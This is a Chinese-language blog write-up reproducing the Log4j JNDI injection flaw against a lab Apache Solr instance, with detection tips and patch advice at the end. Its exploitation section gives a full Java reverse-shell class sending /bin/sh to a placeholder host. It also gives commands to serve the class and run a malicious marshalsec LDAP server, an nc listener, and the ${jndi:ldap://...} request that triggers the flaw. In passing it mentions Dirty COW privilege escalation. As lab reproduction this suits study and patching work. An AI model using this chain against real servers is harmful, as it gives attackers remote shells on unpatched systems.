Log4j CVE-2021-45046 复现

× 文章目录
  1. 1. 漏洞描述
  2. 2. 黑盒检测工具
  3. 3. 靶场搭建
  4. 4. 漏洞检测
  5. 5. 漏洞利用
    1. 5.1. 恶意类
    2. 5.2. 直接使用python启动服务
    3. 5.3. 启动恶意ldap服务器
    4. 5.4. nc 监听反连端口
    5. 5.5. 触发漏洞
  6. 6. 修复建议

漏洞描述

Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

上面从网上找了一段描述,自上周四poc出来之后,波及很广,大家都是加班加点的打补丁,很多SRC纷纷发文称暂不接受该漏洞,到现在,仍有很多带有漏洞的业务跑在互联网上,利用工具如雨后春笋一样,这里随便找了个工具从黑盒层面进行检测,该漏洞的利用方式类似fastjson jndi注入

黑盒检测工具

这里推荐burp插件进行被动扫描,之前尝试写xray poc,发现xray的poc只能fuzz header头,不能遍历参数进行fuzz,burp插件覆盖更全面

自行GitHub搜索 log4jscan

dnslog建议自建或者使用ceye.io,不然大家都是用dnslog.cn,时不时抽风一下,根本无法检测出漏洞

靶场搭建

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。

执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1

image.png

使用浏览器访问:
http://192.168.64.128:8983/solr/#/

漏洞检测

通过burp扩展插件和dnslog日志查看漏洞信息

image.png

image.png

这里确认indexInfo参数触发漏洞

漏洞利用

参考fastjson漏洞利用,利用恶意ldap服务器进行jndi注入,加载远程恶意类,造成任意代码执行

恶意类

这里先写一个恶意类 Exploit.java,并编译为class文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="x.x.x.x"; //修改为反弹服务器
int port=x; // 修改为反连端口
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}

直接使用python启动服务

1
python -m SimpleHTTPServer 80  //xxx为web端口

启动恶意ldap服务器

之前复现fastjson的直接拿过来用

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://x.x.x.x/#Exploit xxx //xxx为ldap端口

nc 监听反连端口

nc -lvvp x //x 为恶意类指定的反连端口

触发漏洞

发送请求

1
2
3
4
5
6
GET /solr/admin/cores?_=1639731882458&wt=json&indexInfo=${jndi:ldap://x.x.x.x:xxx/#Exploit} HTTP/1.1
Host: 192.168.64.128:8983
X-Requested-With: XMLHttpRequest
Referer: http://192.168.64.128:8983/solr/
Cookie: JSESSIONID=066F1A7579CF0FC0C94C097160C692F6
Connection: close

查看ldap服务器响应

image.png

查看web服务响应

image.png

查看nc监听,可以看到拿到shell了
image.png

这里可以看到拿到shell了,这里吐槽一下某SRC,修复窗口都一周了,补丁没打完,SRC还不收漏洞,低内核版本的linux,可脏牛提权,直接忽略

修复建议

升级log4j到 2.15.0-rc2以上/添加jvm参数 -Dlog4j2.formatMsgNoLookups=true/使用rasp防护/删除jndilookup都可以